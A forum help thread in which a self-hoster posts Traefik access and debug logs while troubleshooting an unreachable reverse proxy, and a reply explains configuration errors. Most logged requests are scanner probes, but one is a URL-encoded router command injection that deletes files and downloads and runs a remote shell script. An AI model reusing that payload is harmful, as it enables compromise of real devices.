20.245.50.82 - - [11/Jan/2024:04:59:21 +0000] "GET /site/.env HTTP/2.0" 404 19 "-" "-" 10075 "-" "-" 0ms
20.245.50.82 - - [11/Jan/2024:04:59:21 +0000] "GET /admin/.env HTTP/2.0" 404 19 "-" "-" 10077 "-" "-" 0ms
20.245.50.82 - - [11/Jan/2024:04:59:22 +0000] "GET /web/.env HTTP/2.0" 404 19 "-" "-" 10079 "-" "-" 0ms
20.245.50.82 - - [11/Jan/2024:04:59:23 +0000] "GET /en/.env HTTP/2.0" 404 19 "-" "-" 10081 "-" "-" 0ms
20.245.50.82 - - [11/Jan/2024:04:59:23 +0000] "GET /tools/.env HTTP/2.0" 404 19 "-" "-" 10083 "-" "-" 0ms
20.245.50.82 - - [11/Jan/2024:04:59:24 +0000] "GET /v1/.env HTTP/2.0" 404 19 "-" "-" 10085 "-" "-" 0ms
20.245.50.82 - - [11/Jan/2024:04:59:24 +0000] "GET /administrator/.env HTTP/2.0" 404 19 "-" "-" 10087 "-" "-" 0ms
20.245.50.82 - - [11/Jan/2024:04:59:25 +0000] "GET /laravel/.env HTTP/2.0" 404 19 "-" "-" 10089 "-" "-" 0ms
20.245.50.82 - - [11/Jan/2024:04:59:25 +0000] "GET /prod/.env HTTP/2.0" 404 19 "-" "-" 10091 "-" "-" 0ms
146.190.29.209 - - [11/Jan/2024:05:52:18 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10096 "-" "-" 0ms
83.97.73.245 - - [11/Jan/2024:06:22:56 +0000] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 404 19 "-" "-" 10103 "-" "-" 0ms
64.23.155.9 - - [11/Jan/2024:06:26:06 +0000] "GET / HTTP/1.1" 401 0 "-" "-" 10105 "lidarr@docker" "http://172.27.1.5:8686" 762ms
195.211.77.142 - - [11/Jan/2024:06:58:45 +0000] "HEAD / HTTP/1.1" 404 19 "-" "-" 10107 "-" "-" 0ms
83.97.73.245 - - [11/Jan/2024:07:10:17 +0000] "GET /actuator/gateway/routes HTTP/1.1" 404 19 "-" "-" 10109 "-" "-" 0ms
111.7.100.25 - - [11/Jan/2024:08:06:36 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10114 "-" "-" 0ms
3.90.20.206 - - [11/Jan/2024:08:06:38 +0000] "GET /.git/config HTTP/1.1" 404 19 "-" "-" 10115 "-" "-" 0ms
199.45.154.17 - - [11/Jan/2024:08:47:37 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10118 "-" "-" 0ms
199.45.154.17 - - [11/Jan/2024:08:47:41 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10119 "-" "-" 0ms
199.45.155.33 - - [11/Jan/2024:08:53:10 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10120 "-" "-" 0ms
199.45.155.33 - - [11/Jan/2024:08:53:14 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10121 "-" "-" 0ms
185.81.128.36 - - [11/Jan/2024:08:55:30 +0000] "GET /wp-includes/js/jquery/jquery.js HTTP/1.1" 404 19 "-" "-" 10122 "-" "-" 0ms
185.81.128.36 - - [11/Jan/2024:08:55:30 +0000] "GET /magento_version HTTP/1.1" 404 19 "-" "-" 10123 "-" "-" 0ms
185.81.128.36 - - [11/Jan/2024:08:55:30 +0000] "GET /wp-content/plugins/wp-fastest-cache/readme.txt HTTP/1.1" 404 19 "-" "-" 10124 "-" "-" 0ms
185.81.128.36 - - [11/Jan/2024:08:55:30 +0000] "GET /wp-content/plugins/woocommerce/assets/fonts/WooCommerce.woff HTTP/1.1" 404 19 "-" "-" 10125 "-" "-" 0ms
199.45.155.35 - - [11/Jan/2024:09:01:10 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10126 "-" "-" 0ms
188.166.77.168 - - [11/Jan/2024:09:06:54 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10133 "-" "-" 0ms
199.45.154.49 - - [11/Jan/2024:09:09:43 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10134 "-" "-" 0ms
199.45.154.49 - - [11/Jan/2024:09:09:50 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10135 "-" "-" 0ms
44.234.45.186 - - [11/Jan/2024:09:23:40 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10137 "-" "-" 0ms
199.45.155.32 - - [11/Jan/2024:09:24:10 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10138 "-" "-" 0ms
199.45.155.32 - - [11/Jan/2024:09:24:14 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10139 "-" "-" 0ms
161.35.27.110 - - [11/Jan/2024:09:27:44 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10141 "-" "-" 0ms
199.45.154.16 - - [11/Jan/2024:09:31:03 +0000] "GET / HTTP/1.1" 401 0 "-" "-" 10144 "radarr@docker" "http://172.27.1.10:7878" 151ms
165.22.16.99 - - [11/Jan/2024:09:40:01 +0000] "GET /wp-content/plugins/mw-wp-form/css/admin-common.css HTTP/2.0" 404 19 "-" "-" 10147 "-" "-" 0ms
199.45.154.49 - - [11/Jan/2024:09:45:10 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10150 "-" "-" 0ms
199.45.154.49 - - [11/Jan/2024:09:50:22 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10152 "-" "-" 0ms
199.45.154.49 - - [11/Jan/2024:09:50:26 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10153 "-" "-" 0ms
199.45.154.19 - - [11/Jan/2024:10:01:49 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10154 "-" "-" 0ms
199.45.154.19 - - [11/Jan/2024:10:01:53 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10155 "-" "-" 0ms
199.45.155.32 - - [11/Jan/2024:10:04:06 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10156 "-" "-" 0ms
199.45.155.32 - - [11/Jan/2024:10:04:11 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10157 "-" "-" 0ms
64.62.197.107 - - [11/Jan/2024:10:05:09 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10158 "-" "-" 0ms
64.62.197.119 - - [11/Jan/2024:10:06:26 +0000] "GET /favicon.ico HTTP/1.1" 404 19 "-" "-" 10159 "-" "-" 0ms
64.62.197.118 - - [11/Jan/2024:10:06:33 +0000] "GET /dns-query?name=dnsscan.shadowserver.org&type=A HTTP/1.1" 404 19 "-" "-" 10160 "-" "-" 0ms
64.62.197.107 - - [11/Jan/2024:10:06:38 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10161 "-" "-" 0ms
64.62.197.108 - - [11/Jan/2024:10:06:51 +0000] "GET /api/v2/static/not.found HTTP/1.1" 404 19 "-" "-" 10162 "-" "-" 0ms
64.62.197.110 - - [11/Jan/2024:10:06:56 +0000] "GET /remote/logincheck HTTP/1.1" 404 19 "-" "-" 10163 "-" "-" 0ms
64.62.197.118 - - [11/Jan/2024:10:07:10 +0000] "GET /geoserver/web/ HTTP/1.1" 404 19 "-" "-" 10164 "-" "-" 0ms
199.45.154.51 - - [11/Jan/2024:10:07:25 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10165 "-" "-" 0ms
199.45.154.51 - - [11/Jan/2024:10:07:39 +0000] "GET / HTTP/1.1" 401 0 "-" "-" 10166 "radarr@docker" "http://172.27.1.10:7878" 14ms
182.242.168.215 - - [11/Jan/2024:10:12:18 +0000] "GET / HTTP/1.0" 404 19 "-" "-" 10167 "-" "-" 0ms
61.158.26.17 - - [11/Jan/2024:10:13:07 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10168 "-" "-" 0ms
35.203.211.190 - - [11/Jan/2024:10:46:38 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10171 "-" "-" 0ms
199.45.154.51 - - [11/Jan/2024:10:49:08 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10174 "-" "-" 0ms
199.45.154.50 - - [11/Jan/2024:10:53:31 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10175 "-" "-" 0ms
199.45.154.50 - - [11/Jan/2024:10:53:35 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10176 "-" "-" 0ms
52.34.64.247 - - [11/Jan/2024:10:57:40 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10178 "-" "-" 0ms
52.34.64.247 - - [11/Jan/2024:10:57:40 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10179 "-" "-" 0ms
52.34.64.247 - - [11/Jan/2024:10:57:40 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10181 "-" "-" 0ms
52.34.64.247 - - [11/Jan/2024:10:57:41 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10182 "-" "-" 0ms
52.34.64.247 - - [11/Jan/2024:10:57:41 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10184 "-" "-" 0ms
52.34.64.247 - - [11/Jan/2024:10:57:41 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10185 "-" "-" 0ms
52.34.64.247 - - [11/Jan/2024:10:57:42 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10187 "-" "-" 0ms
52.34.64.247 - - [11/Jan/2024:10:57:42 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10188 "-" "-" 0ms
52.34.64.247 - - [11/Jan/2024:10:57:42 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10190 "-" "-" 0ms
52.34.64.247 - - [11/Jan/2024:10:57:43 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10191 "-" "-" 0ms
199.45.154.48 - - [11/Jan/2024:11:04:26 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10195 "-" "-" 0ms
199.45.155.18 - - [11/Jan/2024:11:17:33 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10199 "-" "-" 0ms
198.199.108.7 - - [11/Jan/2024:11:21:23 +0000] "GET /login HTTP/1.1" 404 19 "-" "-" 10201 "-" "-" 0ms
199.45.155.17 - - [11/Jan/2024:11:38:52 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10213 "-" "-" 0ms
199.45.154.16 - - [11/Jan/2024:11:49:52 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10214 "-" "-" 0ms
199.45.154.16 - - [11/Jan/2024:11:49:56 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10215 "-" "-" 0ms
199.45.155.16 - - [11/Jan/2024:11:56:36 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10218 "-" "-" 0ms
199.45.155.34 - - [11/Jan/2024:12:01:27 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10221 "-" "-" 0ms
193.46.255.120 - - [11/Jan/2024:12:03:01 +0000] "GET /vpn/index.html HTTP/1.1" 404 19 "-" "-" 10222 "-" "-" 0ms
65.49.1.77 - - [11/Jan/2024:12:06:52 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10223 "-" "-" 0ms
199.45.155.16 - - [11/Jan/2024:12:10:45 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10226 "-" "-" 0ms
65.49.1.72 - - [11/Jan/2024:12:14:17 +0000] "GET /favicon.ico HTTP/1.1" 404 19 "-" "-" 10228 "-" "-" 0ms
65.49.1.78 - - [11/Jan/2024:12:15:25 +0000] "GET /dns-query?name=dnsscan.shadowserver.org&type=A HTTP/1.1" 404 19 "-" "-" 10229 "-" "-" 0ms
65.49.1.68 - - [11/Jan/2024:12:15:47 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10230 "-" "-" 0ms
65.49.1.79 - - [11/Jan/2024:12:17:23 +0000] "GET /api/v2/static/not.found HTTP/1.1" 404 19 "-" "-" 10231 "-" "-" 0ms
65.49.1.74 - - [11/Jan/2024:12:17:36 +0000] "GET /remote/logincheck HTTP/1.1" 404 19 "-" "-" 10232 "-" "-" 0ms
68.183.13.250 - - [11/Jan/2024:12:18:21 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10234 "-" "-" 0ms
65.49.1.73 - - [11/Jan/2024:12:18:36 +0000] "GET /geoserver/web/ HTTP/1.1" 404 19 "-" "-" 10235 "-" "-" 0ms
193.46.255.120 - - [11/Jan/2024:13:04:04 +0000] "GET /logon/LogonPoint/index.html HTTP/1.1" 404 19 "-" "-" 10236 "-" "-" 0ms
193.46.255.120 - - [11/Jan/2024:13:04:04 +0000] "GET /logon/LogonPoint/custom.html HTTP/1.1" 404 19 "-" "-" 10237 "-" "-" 0ms
78.153.140.224 - - [11/Jan/2024:13:23:47 +0000] "GET /.env HTTP/1.1" 404 19 "-" "-" 10240 "-" "-" 0ms
78.153.140.224 - - [11/Jan/2024:13:23:47 +0000] "GET /.env HTTP/1.1" 404 19 "-" "-" 10241 "-" "-" 0ms
71.6.146.186 - - [11/Jan/2024:13:35:16 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10242 "-" "-" 0ms
71.6.146.186 - - [11/Jan/2024:13:35:29 +0000] "GET /robots.txt HTTP/1.1" 404 19 "-" "-" 10243 "-" "-" 0ms
71.6.146.186 - - [11/Jan/2024:13:35:29 +0000] "GET /sitemap.xml HTTP/1.1" 404 19 "-" "-" 10244 "-" "-" 0ms
71.6.146.186 - - [11/Jan/2024:13:35:30 +0000] "GET /.well-known/security.txt HTTP/1.1" 404 19 "-" "-" 10245 "-" "-" 0ms
71.6.146.186 - - [11/Jan/2024:13:35:31 +0000] "GET /favicon.ico HTTP/1.1" 404 19 "-" "-" 10246 "-" "-" 0ms
35.92.159.103 - - [11/Jan/2024:13:40:47 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10248 "-" "-" 0ms
35.92.159.103 - - [11/Jan/2024:13:40:47 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10249 "-" "-" 0ms
35.92.159.103 - - [11/Jan/2024:13:40:48 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10251 "-" "-" 0ms
35.92.159.103 - - [11/Jan/2024:13:40:48 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10252 "-" "-" 0ms
35.92.159.103 - - [11/Jan/2024:13:40:49 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10254 "-" "-" 0ms
35.92.159.103 - - [11/Jan/2024:13:40:49 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10255 "-" "-" 0ms
35.92.159.103 - - [11/Jan/2024:13:40:49 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10257 "-" "-" 0ms
35.92.159.103 - - [11/Jan/2024:13:40:50 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10258 "-" "-" 0ms
35.92.159.103 - - [11/Jan/2024:13:40:50 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10260 "-" "-" 0ms
35.92.159.103 - - [11/Jan/2024:13:40:50 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10261 "-" "-" 0ms
50.31.21.4 - - [11/Jan/2024:13:51:19 +0000] "GET / HTTP/1.0" 404 19 "-" "-" 10262 "-" "-" 0ms
50.31.21.4 - - [11/Jan/2024:13:53:18 +0000] "GET / HTTP/1.0" 404 19 "-" "-" 10265 "-" "-" 0ms
104.152.52.107 - - [11/Jan/2024:14:07:49 +0000] "GET / HTTP/1.0" 404 19 "-" "-" 10271 "-" "-" 0ms
118.123.105.93 - - [11/Jan/2024:14:31:03 +0000] "GET / HTTP/1.0" 404 19 "-" "-" 10272 "-" "-" 0ms
118.123.105.93 - - [11/Jan/2024:14:31:04 +0000] "GET /favicon.ico HTTP/1.1" 404 19 "-" "-" 10273 "-" "-" 0ms
118.123.105.93 - - [11/Jan/2024:14:31:07 +0000] "GET /robots.txt HTTP/1.1" 404 19 "-" "-" 10274 "-" "-" 0ms
118.123.105.93 - - [11/Jan/2024:14:31:10 +0000] "GET /.well-known/security.txt HTTP/1.1" 404 19 "-" "-" 10275 "-" "-" 0ms
165.154.164.96 - - [11/Jan/2024:14:32:26 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10277 "-" "-" 0ms
107.170.247.34 - - [11/Jan/2024:14:47:49 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10278 "-" "-" 0ms
35.216.178.21 - - [11/Jan/2024:14:51:39 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10279 "-" "-" 0ms
35.216.178.21 - - [11/Jan/2024:14:51:42 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10280 "-" "-" 0ms
35.216.178.21 - - [11/Jan/2024:14:51:42 +0000] "GET /server-status HTTP/1.1" 404 19 "-" "-" 10281 "-" "-" 0ms
35.216.178.21 - - [11/Jan/2024:14:51:43 +0000] "GET /config.json HTTP/1.1" 404 19 "-" "-" 10282 "-" "-" 0ms
35.216.178.21 - - [11/Jan/2024:14:51:43 +0000] "GET /.env HTTP/1.1" 404 19 "-" "-" 10283 "-" "-" 0ms
35.216.178.21 - - [11/Jan/2024:14:51:44 +0000] "GET /telescope/requests HTTP/1.1" 404 19 "-" "-" 10284 "-" "-" 0ms
35.216.178.21 - - [11/Jan/2024:14:51:44 +0000] "GET /info.php HTTP/1.1" 404 19 "-" "-" 10285 "-" "-" 0ms
35.216.178.21 - - [11/Jan/2024:14:51:45 +0000] "GET /.git/config HTTP/1.1" 404 19 "-" "-" 10286 "-" "-" 0ms
179.43.178.234 - - [11/Jan/2024:14:53:04 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10288 "-" "-" 0ms
83.97.73.245 - - [11/Jan/2024:15:09:06 +0000] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 404 19 "-" "-" 10289 "-" "-" 0ms
165.154.182.92 - - [11/Jan/2024:15:12:46 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10290 "-" "-" 0ms
165.154.182.92 - - [11/Jan/2024:15:12:46 +0000] "GET /favicon.ico HTTP/1.1" 404 19 "-" "-" 10291 "-" "-" 0ms
165.154.182.92 - - [11/Jan/2024:15:12:46 +0000] "GET /robots.txt HTTP/1.1" 404 19 "-" "-" 10292 "-" "-" 0ms
165.154.182.92 - - [11/Jan/2024:15:12:46 +0000] "GET /sitemap.xml HTTP/1.1" 404 19 "-" "-" 10293 "-" "-" 0ms
195.211.77.142 - - [11/Jan/2024:15:53:09 +0000] "HEAD / HTTP/1.1" 404 19 "-" "-" 10295 "-" "-" 0ms
103.56.17.252 - - [11/Jan/2024:15:57:33 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10298 "-" "-" 0ms
103.56.17.252 - - [11/Jan/2024:16:00:52 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10299 "-" "-" 0ms
137.184.161.177 - - [11/Jan/2024:16:06:02 +0000] "GET /ab2g HTTP/1.1" 404 19 "-" "-" 10300 "-" "-" 0ms
137.184.161.177 - - [11/Jan/2024:16:06:02 +0000] "GET /ab2h HTTP/1.1" 404 19 "-" "-" 10301 "-" "-" 0ms
137.184.161.177 - - [11/Jan/2024:16:06:02 +0000] "GET /alive.php HTTP/1.1" 404 19 "-" "-" 10302 "-" "-" 0ms
137.184.161.177 - - [11/Jan/2024:16:06:05 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10303 "-" "-" 0ms
137.184.161.177 - - [11/Jan/2024:16:06:05 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10304 "-" "-" 0ms
137.184.161.177 - - [11/Jan/2024:16:06:05 +0000] "GET /t4 HTTP/1.1" 404 19 "-" "-" 10305 "-" "-" 0ms
137.184.161.177 - - [11/Jan/2024:16:06:05 +0000] "GET /favicon.ico HTTP/1.1" 404 19 "-" "-" 10306 "-" "-" 0ms
137.184.161.177 - - [11/Jan/2024:16:06:05 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10307 "-" "-" 0ms
137.184.161.177 - - [11/Jan/2024:16:06:05 +0000] "GET /teorema505?t=1 HTTP/1.1" 404 19 "-" "-" 10308 "-" "-" 0ms
103.187.190.159 - - [11/Jan/2024:16:38:44 +0000] "GET / HTTP/1.0" 404 19 "-" "-" 10311 "-" "-" 0ms
103.187.190.159 - - [11/Jan/2024:16:38:45 +0000] "GET / HTTP/1.0" 404 19 "-" "-" 10313 "-" "-" 0ms
103.187.190.159 - - [11/Jan/2024:16:38:46 +0000] "GET / HTTP/1.0" 404 19 "-" "-" 10317 "-" "-" 0ms
103.187.190.68 - - [11/Jan/2024:16:38:48 +0000] "GET /v2/_catalog HTTP/1.1" 404 19 "-" "-" 10322 "-" "-" 0ms
103.187.190.139 - - [11/Jan/2024:16:38:48 +0000] "GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1" 404 19 "-" "-" 10323 "-" "-" 0ms
103.187.190.132 - - [11/Jan/2024:16:38:48 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10324 "-" "-" 0ms
103.187.190.132 - - [11/Jan/2024:16:38:49 +0000] "GET /favicon.ico HTTP/1.1" 404 19 "-" "-" 10325 "-" "-" 0ms
185.224.128.191 - - [11/Jan/2024:16:43:16 +0000] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd%20%2Ftmp%3B%20rm%20-rf%20%2A%3B%20wget%20http%3A%2F%2F104.168.5.4%2Ftenda.sh%3B%20chmod%20777%20tenda.sh%3B%20.%2Ftenda.sh) HTTP/1.1" 404 19 "-" "-" 10326 "-" "-" 0ms
185.233.19.158 - - [11/Jan/2024:16:57:16 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10327 "-" "-" 0ms
188.166.106.55 - - [11/Jan/2024:17:12:52 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10329 "-" "-" 0ms
167.71.247.44 - - [11/Jan/2024:17:13:27 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10331 "-" "-" 0ms
170.64.187.100 - - [11/Jan/2024:17:17:09 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10333 "-" "-" 0ms
68.178.145.192 - - [11/Jan/2024:17:46:58 +0000] "GET /wp-login.php HTTP/1.1" 404 19 "-" "-" 10335 "-" "-" 0ms
83.97.73.245 - - [11/Jan/2024:17:49:48 +0000] "GET /actuator/gateway/routes HTTP/1.1" 404 19 "-" "-" 10336 "-" "-" 0ms
159.89.112.99 - - [11/Jan/2024:17:58:20 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10382 "-" "-" 0ms
146.70.123.182 - - [11/Jan/2024:18:43:46 +0000] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 404 0 "-" "-" 10515 "acme-http@internal" "-" 98ms
146.70.123.182 - - [11/Jan/2024:18:43:48 +0000] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 404 0 "-" "-" 10521 "acme-http@internal" "-" 0ms
106.75.129.136 - - [11/Jan/2024:18:44:31 +0000] "GET / HTTP/2.0" 404 19 "-" "-" 10635 "-" "-" 0ms
106.75.129.136 - - [11/Jan/2024:18:44:32 +0000] "GET /gatew HTTP/1.1" 404 19 "-" "-" 10638 "-" "-" 0ms
146.70.123.182 - - [11/Jan/2024:18:44:56 +0000] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 404 0 "-" "-" 10686 "acme-http@internal" "-" 0ms
146.70.123.182 - - [11/Jan/2024:18:45:52 +0000] "GET /.well-known/acme-challenge/ HTTP/1.1" 404 0 "-" "-" 10797 "acme-http@internal" "-" 0ms

small content of traefik.log file in log folder (note i put ------- where my domain name normally is in the logs to hide domain name in logs):

2024-01-11T14:59:38-05:00 DBG github.com/traefik/traefik/v3/pkg/provider/acme/provider.go:849 > Looking for provided certificate(s) to validate ["bazaar.------------.com" "www.bazaar.-------------.com"]... ACME CA=https://acme-staging-v02.api.letsencrypt.org/directory acmeCA=https://acme-staging-v02.api.letsencrypt.org/directory providerName=dns-cloudflare.acme routerName=bazaar@docker rule="Host(`bazaar.-------------.com`) || Host(`www.bazaar.-------------.com`)"
2024-01-11T14:59:38-05:00 DBG github.com/traefik/traefik/v3/pkg/provider/acme/provider.go:849 > Looking for provided certificate(s) to validate ["calibre.--------------.com" "www.calibre.--------------.com"]... ACME CA=https://acme-staging-v02.api.letsencrypt.org/directory acmeCA=https://acme-staging-v02.api.letsencrypt.org/directory providerName=dns-cloudflare.acme routerName=calibre@docker rule="Host(`calibre.------------.com`) || Host(`www.calibre.-----------.com`)"
2024-01-11T14:59:38-05:00 DBG github.com/traefik/traefik/v3/pkg/provider/acme/provider.go:893 > No ACME certificate generation required for domains ACME CA=https://acme-staging-v02.api.letsencrypt.org/directory acmeCA=https://acme-staging-v02.api.letsencrypt.org/directory domains=["dozzle.--------------.com","www.dozzle.-------------.com"] providerName=dns-cloudflare.acme routerName=dozzle@docker rule="Host(`dozzle.------------.com`) || Host(`www.dozzle.-------------.com`)"
2024-01-11T14:59:38-05:00 DBG github.com/traefik/traefik/v3/pkg/provider/acme/provider.go:893 > No ACME certificate generation required for domains ACME CA=https://acme-staging-v02.api.letsencrypt.org/directory acmeCA=https://acme-staging-v02.api.letsencrypt.org/directory domains=["nowshowing.------------.com","www.nowshowing.-------------.com"] providerName=dns-cloudflare.acme routerName=nowshowing@docker rule="Host(`nowshowing.------------.com`) || Host(`www.nowshowing.-----------.com`)"
2024-01-11T14:59:38-05:00 DBG github.com/traefik/traefik/v3/pkg/provider/acme/provider.go:893 > No ACME certificate generation required for domains ACME CA=https://acme-staging-v02.api.letsencrypt.org/directory acmeCA=https://acme-staging-v02.api.letsencrypt.org/directory domains=["--------------.com","*.--------------.com"] providerName=dns-cloudflare.acme
2024-01-11T14:59:38-05:00 DBG github.com/traefik/traefik/v3/pkg/provider/acme/provider.go:893 > No ACME certificate generation required for domains ACME CA=https://acme-staging-v02.api.letsencrypt.org/directory acmeCA=https://acme-staging-v02.api.letsencrypt.org/directory domains=["whoami.-------------.com","www.whoami.------------.com"] providerName=dns-cloudflare.acme routerName=whoami@docker rule="Host(`whoami.-----------.com`) || Host(`www.whoami.-----------.com`)"
2024-01-11T14:59:38-05:00 DBG github.com/traefik/traefik/v3/pkg/provider/acme/provider.go:893 > No ACME certificate generation required for domains ACME CA=https://acme-staging-v02.api.letsencrypt.org/directory acmeCA=https://acme-staging-v02.api.letsencrypt.org/directory domains=["bazaar.----------.com","www.bazaar.-----------.com"] providerName=dns-cloudflare.acme routerName=bazaar@docker rule="Host(`bazaar.------------.com`) || Host(`www.bazaar.------------.com`)"
2024-01-11T14:59:38-05:00 DBG github.com/traefik/traefik/v3/pkg/provider/acme/provider.go:893 > No ACME certificate generation required for domains ACME CA=https://acme-staging-v02.api.letsencrypt.org/directory acmeCA=https://acme-staging-v02.api.letsencrypt.org/directory domains=["calibre.------------.com","www.calibre.----------------.com"] providerName=dns-cloudflare.acme routerName=calibre@docker rule="Host(`calibre.-------------.com`) || Host(`www.calibre.-------------.com`)"

firefox web developer debug log:

in the firewall port forwarding is setup for anything from port 80 on the outside is forwarded to my internal ip (192.168.1.103) port 80. Same goes for port 443 forwarded to my internal ip (192.168.1.103) port 443.

The issue i am having is with the above files and info, Its giving me the above errors in my access and traefik logs . I just get a big spinning circle on my web page. For instance when i type in whoami.mywebdomain.com it never takes me to the resolved web page for whoami (that shows my whoami web page). I have tried disabling my QNAP firewall to insure any traffic is allowed through without issues (while i test). I have also verified that the ports are forwarded in the router as i indicated above. Your thoughts on what steps i should take to resolve the issues above? I have been working on this issue for over 1 month now on my QNAP and not making much progress. Help please?

curl: (28) Failed to connect to www.whoami.mydomainname.com port 80 after 129990 ms: Connection timed out

I did the following to port forward in the router and touched the following files to allow writes to them.

## router 443 >> nas.lan.ip:443
## router 80 >> nas.lan.ip:80
## router 8082 >> nas.lan.ip 8082
## router 9090 >> nas.lan.ip 9090

## touch /share/docker/appdata/traefik/certs/acme.json

## chmod -R 600 /share/docker/appdata/traefik/certs/acme.json```

Well, the errors in the access log are just regular Internet that is happening.

You created a cert, your domain is known, they start scanning for security vulnerabilities.

You can only use one challenge type per certresolver, you got all 3 (http, TLS, dns) in traefik.yml. Use dnsChallenge for wildcards.

You seem to use static config env var TRAEFIK_API_INSECURE, but Traefik will only accept one static config: from file traefik.yml, from command: or from env. You can’t mix, decide for one.

Your error-pages are defined in labels and file, so you define it twice in dynamic config.

Not sure why there are middlewares for redirect, as that is already defined globally on entrypoint.

So the config is huge, but does not seem very well thought through.

Basic rule for debugging: strip all the stuff, start with the least possible, then add piece by piece back until you find the error.

Enable Traefik debug log (doc) and check for errors and if targets are recognized correctly by providers.docker. Enable and check Traefik dashboard if your routers and services are shown.

Where is whoami coming from? Either you define a router and service for it in dynamic config file or let Traefik Docker configuration discovery handle this by using labels for the dynamic config.

May start fresh with (or at least compare to) a simple Traefik example.